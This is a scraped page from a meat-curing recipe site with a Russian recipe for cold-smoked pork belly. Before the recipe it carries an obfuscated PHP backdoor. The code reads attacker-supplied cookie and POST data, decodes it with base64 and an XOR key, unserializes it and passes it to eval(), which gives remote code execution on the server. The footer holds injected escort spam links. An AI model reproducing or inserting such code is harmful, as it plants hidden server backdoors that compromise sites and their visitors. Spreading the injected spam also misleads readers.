$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Свиная грудинка холодного копчения. • Meat Review

Свиная грудинка холодного копчения.

Перейти в режим чтения
Распечатать
0 0
Свиная грудинка холодного копчения.

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:

    Инструкция

    Поделиться

    На мой взгляд самый простой рецепт из всех доступных.
    Берём грудинку, небольшие куски 1,5-2,0 кг.
    Тщательно промываем, удаляем всё лишнее.

    Далее собственно посол – соль 2,5% (нитритная пополам с обычной), чаман (пажитник молотый), перец черный, перец красный, тимьян. Всё смешиваем и натираем полученной смесью куски мяса. Натертое посолочной смесью мясо заворачиваем плотно в стрейч-пленку а лучше в вакуум. Убираем в холодильник +4-5 градусов на 5-6 дней, куски периодически переворачиваем и массируем.
    По истечении указанного срока мясо хорошенько промываем от специй, протираем, вешаем на просушку на несколько часов (указывайте вес и дату).

     

    Коптились данные куски непрерывно 52 часа, ольховая щепа, +18-20 градусов.

    После копчения вывешены в подвал температура +12 градусов, вентиляция принудительная.

    По прошествии 20 дней, и потере 25-27% веса – опробовано. Половина беспощадно съедена, остатки убраны в пленку в холодильник.

    (Visited 10 769 times, 1 visits today)

    Maxim Lavrukhin

    обратно
    Сесина. Вяленая копченая говядина
    далее
    Bollo Preñao
    обратно
    Сесина. Вяленая копченая говядина
    далее
    Bollo Preñao

    Похожие рецепты

    MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

    escort Muğla
    Aydın Escort bayan
    Çanakkale Escort
    escort bayan balıkesir

    Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

    By continuing to use the site, you agree to the use of cookies. more information

    The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

    Close